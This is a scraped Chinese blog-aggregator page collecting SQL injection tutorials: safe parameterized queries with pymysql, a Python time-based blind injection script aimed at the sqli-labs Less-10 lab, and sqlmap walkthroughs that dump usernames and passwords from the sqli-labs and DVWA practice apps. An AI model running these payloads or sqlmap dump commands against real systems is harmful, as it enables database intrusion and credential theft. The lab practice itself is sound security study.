精华内容
下载资源
问答
  • sql 注入攻击 调用存储过程 pymysql pymysql 是一个第三方模块,帮我们封装了 建立表/用户认证/sql的执行/结果的获取 import pymysql # 步骤 ''' 1. 连接服务端 2. 用户认证 3. 发送...

    pymysql

    pymysql 是一个第三方模块,帮我们封装了 建立表/用户认证/sql的执行/结果的获取

    import pymysql
    
    # 步骤
    '''
    1. 连接服务端
    2. 用户认证
    3. 发送指令
    4. 提取结果
    '''
    # 1.连接服务器,获取连接对象(本质上就是封装好的socket)
    conn = pymysql.connect(
        host = "127.0.0.1",  # 如果是本机,可以忽略
        port = 3306,         # 如果没有改过,可以忽略
        user = "root",
        password = "123",
        db = "test_7_17"
    )
    # 2.通过连接拿到游标对象
    # 默认返回的游标是元祖类型,不方便使用,更换为字典类型的游标
    c = conn.cursor(pymysql.cursors.DictCursor) 
    
    # 3.执行sql
    sql = "select * from user"
    
    # 返回的是查询结果数量
    count = c.execute(sql)
    
    # 4.提取结果
    print(c.fetchall()) # 查看所有
    
    c.scroll(-2,mode="relative") # 因为查看完后,游标已经到最后面,所有要再次查看,就要移动游标,relative表示相对位置,即游标现在所在位置,-2表示,往前移动2个位置
    
    print(c.fetchone()) # 查看一个值 默认是第一个,
    
    c.scroll(0,mode="absolute") # absolute 表示绝对位置,即从第一个位置开始,0表示将游标移动到第一个位置
    
    print(c.fetchmany(2)) # 查询多个括号内加参数,2表示查询2个值
    
    # 5 关闭连接
    c.close()
    conn.close()

    sql 注入攻击

    ​ 指的是一些程序员,在输入数据时,按照sql的语法规范,提交了用于攻击性目的的数据

    如果避免这个问题?

    ​ 在服务端执行sql前 先做sql的验证

    ​ 在pymysql中,已经封装了验证操作,我们只需要将参数交给pymysql来做拼接即可.

    import pymysql
    
    conn = pymysql.connect(
        host = "127.0.0.1",
        port = 3306,
        user = "root",
        password = "123",
        db = "test_7_17"
        # autocommit = False  # 如果改成True 就表示开启自动提交,不常用,pymysql中默认开启事务,所以我们必须在每次执行完成后,commit提交下
    )
    c = conn.cursor(pymysql.cursors.DictCursor)
    
    name = input("name>>>").strip()
    pwd = input("pwd>>>").strip()
    # 不能把变量名直接放到sql执行语句中,防止sql攻击
    sql = "select * from user where name = %s and pwd = %s"
    
    count = c.execute(sql,(name,pwd))
    
    if count:
        print("登陆成功")
    else:
        print("登陆失败")
    print(c.fetchall())
    c.scroll(-2,mode="relative")
    
    print(c.fetchone())
    c.scroll(0,mode="absolute")
    print(c.fetchmany(2))

    调用存储过程

    # 创建存储过程
    delimiter |
    create procedure add1(in a int, in b int, out c int)
    begin
    set c = a + b;
    end |
    delimiter ;
    
    
    # pymysql 中调用
    import pymysql
    conn = pymysql.connect(
        host = "127.0.0.1",
        port = 3306,
        user = "root",
        password = "123",
        db = "test_7_17")
    
    c= conn.cursor(pymysql.cursors.DictCursor)
    c.callproc("add1",(1,2,5)) # 1 对应 @_add1_0 ,2 对应 @_add1_1 , 5 对应 @_add1_2
    c.execute("select @_add1_2") # 所以返回结果的调用得用第三个变量
    print(c.fetchall())
    
    # 调用存储过程时,传入参数,会自动定义成变量,
    # 命名方式,@_过程的名称_参数的索引, 从0开始
    

    转载于:https://www.cnblogs.com/raynduan/p/11444780.html

    展开全文
  • 详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。 前面的话:操作学习的环境----Linux环境...

    简介:文章分为三部分:1、概要;2、详细的思维导图;3、详细的解说。

    描述:概要包括该文介绍的知识点;详细的思维导图更好地理清思路,方便记忆,但对于有些对于作者比较基础的内容不会有详细的解释,建议主动了解;详细的解说作者会根据思维导图的纲要添加代码语句等内容,有时间会添加具体操作,具体步骤,操作结果等内容,添加需要注意的Tips(蓝色字体怎样)。

    前面的话:操作学习的环境----Linux环境+docker+sqli-labs。环境配置请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建或私信我亲测有效的资源给你。

    Tips:这些都是作者学习过的内容,文字、思维导图等都是一双手,后续会连载这系列以及丰富流程说明,欢迎沟通交流、留言,觉得必要的也可收藏关注

    1、概要:

    3.2 SQL盲注-时间注入
        时间盲注原理
        时间盲注方法
        构造python脚本自动打印数据库信息(结尾附上源码)

    2、详细的思维导图:

     

    3.2 SQL盲注-时间注入
        时间盲注原理

            代码存在SQL注入漏洞然而页面即不会回显数据,也不会回显错误信息语句执行后也不提示真假,我们不能通过页面的内容来进行判断
    这里我们可以通过构造语句,通过页面响应的时长,来判断信息,这既是时间盲注!
        时间盲注方法(可利用sqli-labs:Less-10演练,环境部属请看:第一章:SQL注入基础--1.1Web应用架构分析&1.2 SQLi注入环境搭建
            构造逻辑语句,通过条件语句进行判断,为真则立即执行,否则延时执行
            核心语法:if(left(user(),1)='a',0,sleep(5));
            真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))

        构造python脚本自动打印数据库信息(掌握前面我连载的SQL注入博客的小伙伴,相信利用这个代码可举一反三,逍遥快活很多自动attack手段了)

    #!/usr/bin/env python
    #-*- coding:utf-8 -*-
    
    import requests
    import time
    
    url = 'http://192.168.100.57/Less-10/?id=1'
    
    database = 'select schema_name from information_schema.schemata'
    
    tables = 'select table_name from information_schema.tables where table_schema=database()'
    
    column = 'select column_name from information_schema.columns where table_name="table_name"'
    
    result = ''
    for i in range(1,30):
    	for j in range(48,122):
    		payload = '"and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
    		stime =time.time()
    		r = requests.get(url+payload)
    		etime = time.time()
    		if etime-stime >=2:
    			result += chr(j)
    			print (result)
    			break

     

    展开全文
  • 本篇主要讲解sqlmap的基本使用,对sqli-labs靶场的第一关进行SQL注入。后续九关的解题方法都和这个差不多,可以自己网上查资料学习,如果有时间也会更新对后续关卡的通关步骤。 sqlmap基础命令: sqlmap支持多种选项...

    前言:

    本篇主要讲解sqlmap的基本使用,对sqli-labs靶场的第一关进行SQL注入。后续九关的解题方法都和这个差不多,可以自己网上查资料学习,如果有时间也会更新对后续关卡的通关步骤。

    sqlmap基础命令:

    sqlmap支持多种选项,-u 选项表示后面出现的是URL, --level 选项表示要执行的测试级别,–risk选项用于设置待执行测试的风险。风险表示攻击所用SQL代码的危险程度,风险等级越高,表示相关网站出现问题的可能性越高。

    • -level选项

    0:仅输出Python反向追踪( Trackback )信息、错误及重要信息( Critical Message)。
    1:显示信息与警告信息。该值为默认值。
    2:同时显示所有调试信息。
    3:同时显示插入的有效载荷信息。
    4:同时显示HTTP请求信息。
    5:同时显示HTTP响应头信息。
    6:同时显示HTTP响应页面内容信息。

    –risk选项

    1:注入无问题代码,执行测试。默认值。
    Normal Injection (使用union)、Blind Injection (使用ture:1=1, flase:1=2 )
    2:执行Time- -based Injection using heavy query。进行Blind Injection时,若不论真假都有相同结果值,则经过指定的待机时间后,通过测定时间判断插入的查询是否得以执行。

    3:使用OR- based Injection。若被攻击的目标程序执行update语句,则插入的or语句就会导致致命问题。

    –dbms选项

    指定要使用的数据库类型。若不指定,则对sqlmap支持的所有类型的数据库探测漏洞。

    1.清除sqlmap缓存:
    python sqlmap.py --purge
    
    2.检测注入点是否可用
    python sqlmap.py -u "目标URL" 
    
    3.暴库
    python sqlmap.py -u "目标URL" -dbs
    
    4.暴当前使用的数据库
    python sqlmap.py -u "目标URL" –current-db
    
    5.暴当前使用的账户
    python sqlmap.py -u "目标URL" –current-user
    
    6.列出所有使用过的账户
    python sqlmap.py -u "目标URL" –users
    
    7.mysql的登录账户和密码
    python sqlmap.py -u "目标URL" –passwords
    
    8.列出数据库中的表
    python sqlmap.py -u "目标URL" -D "指定数据库名" –tables
    
    9.列出表中字段
    python sqlmap.py -u "目标URL" -D "指定数据库名" -T "指定的表名" –columns
    
    10.爆字段内容
    python sqlmap.py -u "目标URL" -D "指定数据库名" -T "指定的表名" -C "字段名" -dump
    
    

    步骤:

    1.先开启靶场,第一次使用靶场要对数据库进行设置。点击如下图的Setup/reset DataBase forlabs。然后返回这个界面,下拉点击Less-1进入第一关。
    在这里插入图片描述在这里插入图片描述 2.在地址栏输入如下图“/?id=1”登录数据库。在这里插入图片描述 3.打开sqlmap,输入如下命令对数据库进行暴库。(输入命令的过程中请注意靶场路径,不可使用中文字符)

    
    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --leve=5 --risk=3 --dbs
    

    在这里插入图片描述在这里插入图片描述 4.如上图可知数据库为MySQL,是否要跳过特定于其他dbms的测试有效负载?输入n。再如下图提示是否测试其他,输入n.找到数据库类型和确定有注入点可利用全部数据库也爆出来了。在这里插入图片描述在这里插入图片描述
    5.运行下面命令查看我们所在的数据库。运行下面的命令后可也看到我们所属的数据库为“security”。

    
    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --leve=5 --risk=3 --dbms=mysql --current-db
    

    在这里插入图片描述
    6.运行命令查看数据库中的表。

    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --leve=5 --risk=3 --dbms=mysql -D "security" --tables
    

    在这里插入图片描述
    7.猜测users表中应该有我们想要的数据,运行下方命令获取user表中的字段。

    
    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" --columns
    

    在这里插入图片描述8.显示我们想要的“password,username”字段。输入如下命令成功获取我们要的数据。SQL注入演示完毕。

    
    python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --leve=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump
    

    在这里插入图片描述
    欢迎关注微信公众号:黑客帮。获取更多

    展开全文
  • Sqlmap是一个基于Python的开源的SQL注入渗透测试工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞,目前支持Access、MSSQL、MySQL、Oracle、PostgreSQL等多种数据库类型。 首先在Windows系统中安装Python...

    1.2 步骤

    实现此案例需要按照如下步骤进行。

    步骤一:安装Sqlmap

    Sqlmap是一个基于Python的开源的SQL注入渗透测试工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞,目前支持Access、MSSQL、MySQL、Oracle、PostgreSQL等多种数据库类型。

    首先在Windows系统中安装Python 2.7,安装Sqlmap只需要在https://github.com/sqlmapproject/sqlmap下载ZIP压缩包,直接解压即可。然后运行sqlmap.py,如图-1所示,说明运行正常。

    图-1

    步骤二:使用Sqlmap进行SQL注入

    1)DVWA安全级别选择Low级别,点击“SQL Injection”,然后输入1(需要先开启Burp Suite),如图-2所示。

    图-2

    2)在Burp Suite的“Proxy”标签下的“Intercept”或“HTTP history”中获取注入请求,如图-3和图-4所示。

    图-3

    图-4

    3)运行sqlmap.py -u “http://192.168.111.142/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “security=low; PHPSESSID=8rkfhiqo5dd8uu3kk8nm42gjt7” -p id --batch,其中的参数解释如下。

    -u表示注入点的网址。

    --cookie是因为DVWA需要Cookie支持。

    -p表示从哪个参数注入。

    --batch表示在注入过程中使用默认选择,不需要手动干预。

    运行结果如图-5和图-6所示。

    图-5

    图-6

    结果是获取到了数据库版本为MySQL 5.X。

    4)使用--dbs参数获取数据库,如图-7和图-8所示。

    图-7

    图-8

    结果是获取到了5个数据库,分别是dvwa、information_scheme、mysql、performance_scheme和test。

    5)使用—tables参数获取数据库dvwa的表,如图-9和图-10所示。

    图-9

    图-10

    结果是获取到了2个表,分别是guestbook和users。

    6)使用—columns参数获取表users的列,如图-11和图-12所示。

    图-11

    图-12

    结果是获取到了users表的8个列字段。

    7)使用—dump参数获取表users的数据,如图-13和图-14所示。

    图-13

    图-14

    可以看到用户名和密码,Sqlmap自动将密码还原,例如用户名admin,密码password。

    展开全文
  • 学一点SQL注入基础

    2020-08-25 15:37:26
    文章目录学一点SQL注入基础思维导图注入原理MySQL三种注释MySQL三种注入方式联合查询注入确定字段数常规步骤sqlmap的使用跨库注入MySQL注入获取最高权限-文件操作利用cookie注入HTTP头注入MySQL加解密注入及宽字节...
  • 使用sqlmap进行SQL注入检测

    千次阅读 2019-08-22 10:09:47
    最近公司项目被扫描出有SQL注入的漏洞,通过百度之后,决定使用sqlmap进行SQL注入的检测。这里仅仅是记录一下注入检测的步骤。 检测前准备 sqlmap是一个python编写的工具,因此我们首先要进行python环境的搭建,然后再...
  • 出于利用sqlmap找不到SQL注入漏洞的需要而产生的。 始终先尝试sqlmap。 它是高度可定制的,并且仅在非常复杂的注入情况下才会失败。 但是,当它确实失败时,请使用它。 享受! -蒂姆(@ lanmaster53)Tomes 入门 ...
  • 安装 python 环境的攻击机 0x01 实验步骤 一、搭建环境 1. 安装UCenter 通过 http://192.168.88.129/dz7.2/upload/install/index.php 页面安装: 出现错误: 将UCenter文件放置在dz7.2文件夹下,访问...
  • SQL注入 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改、隐藏 CTF Web学习(二):代码审计、burp suite应用 CTF Web学习(三):python脚本的编写及应用 文章目录CTF Web学习(四)前言一、pandas是...
  • 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录系列文章目录前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结 前言 ...
  • 2.步骤 将bp抓到的包的数据,复制到txt文档中,打开sqlmap。 爆库命令:python2 sqlmap.py -r ***.txt --dbs 依次爆表等 例如: python2 sqlmap.py -r 1.txt --dbs python2 sqlmap.py -r 1.txt -D 爆出的库名 --...
  • Python — 获取数据库的用户名密码Python — 获取数据库的用户名密码1.sql注入...1.sql注入脚本编程思路 构造一个合法的session,让服务器信任 1. 设法知道token值 2. 设法知道cookie值 2.具体步骤 python脚本借助
  • python与mysql的交互(一)在mac上装mysqlpython操作mysql的步骤解析sql注入什么是sql注入?怎么防止? 在mac上装mysql 下载mysql for mac: https://dev.mysql.com/downloads/mysql/ 解压dmg文件,点击pkg文件进行...
  • SQL注入是如何产生的,如何预防 NoSQL和关系数据库的区别 MySQL如何实现分页 SQL语句怎么看效率 优化数据库,提高数据库的性能 提取数据库中倒数10条数据 数据库的负载均衡 MySQL数据库的操作 数据库的设计 .
  • 描 述: sql注入 访问题目,又是一个web login登陆界面,根据提示可以大概猜测是一个sql post注入题。 二、解题步骤 1.bp抓包 POST /index.php HTTP/1.1 Host: 114.67.246.176:10965 User-Agent: Mozilla/5.0 ...
  • 使用SQLMAP扫描步骤

    千次阅读 2018-06-20 15:37:43
    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此运行需要安装python环境。一、检测注入点是否可以利用 C:\Python27\sqlmap>python sqlmap.py -...
  • 1、pymysql实现步骤 建立连接通道connect 创建游标cursor,操作设置为字典类型...2、sql注入实现 #构建sql以下两种均可 sql = "select * from userinfo where username=%s and password=%s" # sql = "select *...
  • 准备 phpstudy: ... ...sqli-labs: Sqli-labs是一个印度程序员写的,用来学习练习sql注入的一个注入靶场。 链接:https://wwe.lanzous.com/b01bji8yh 密码:f3xj 步骤 1.phpstudy安装完成后,把PHP版本改为
  • SQL的使用 DDL - 数据定义语言 - create / drop / alter DML - 数据操作语言 - insert / delete / update / select DCL - 数据控制语言 - grant / revoke 相关知识 范式理论 - 设计二维表的指导思想 数据完整性 ...
  • 使用安全简单 (自动增删改查、自动生成文档、自动管理版本、自动控制权限、自动校验参数、自动防SQL注入等) 灵活定制业务 (在后端编写 远程函数,可以拿到 session、version、当前 JSON 对象 等,然后自定义处理) ...
  • 2、使用web扫描工具(如ZAP等)找到SQL的可能注入点:“http://testphp.vulnweb.com/artists.php?artist=1”;3、使用sqlmap 获取当前数据库名称sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1"...
  • 自动校验权限、自动管理版本、自动防SQL注入 开放API无需划分版本,始终保持兼容 支持增删改查、模糊搜索、正则匹配、远程函数等 多表关联查询、结构自由组合、多个测试账号、一键共享测试用例 自动生成...
  • 04_MYSQL的基本使用

    2019-07-15 20:22:02
    目录:01_数据库的基本使用01_数据库的简介02_RDBMS与数据库的关系03_数据库的准备与查询04_...京东数据查询-面向对象05_添加一个商品分类06_SQL注入07_SQL注入自己写08_SQL注入解决09_python中操作MQYSQL的步骤...
  • 渗透测试工具SQLmap

    2019-10-08 23:49:54
    SQLmap 是一款用 Python 编写的开源渗透测试工具,用来自动检测和利用 SQL 注入漏洞。 二、Windows 下安装 2.1 安装 Python 环境  注:Python 3.0会出错 , Python>=2.6 且 <3.0  官网地址:...
  • pymsql模块

    2018-10-09 15:19:00
    pymsql模块 补充 cmd 常用命令 pip —V 查看当前pip版本...sql注入问题 sql语句不能自己拼接,应该使用模块的方法来拼接。 在pycharm中: 基本步骤 # 1.导入数据库 import pymysql name = input("请输入账户:"...
  • sqlmap的使用与实例

    2021-05-13 21:14:33
    Sqlmap是开源的自动化SQL注入工具,由Python写成。 sqlmap支持五种不同的注入模式: 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件...
  • 用友GRP-u8 注入+天融信TopApp-LB 负载均衡系统sql注入|绿盟UTS综合威胁探针管理员任意登录复现|HW弹药库之深信服EDR 3.2.21 任意代码执行漏洞分析 CVE-2020-13935-Tomcat的WebSocket安全漏洞可导致拒绝服务攻击 ...

空空如也

空空如也

1 2
收藏数 28
精华内容 11
关键字:

pythonsql注入步骤

python 订阅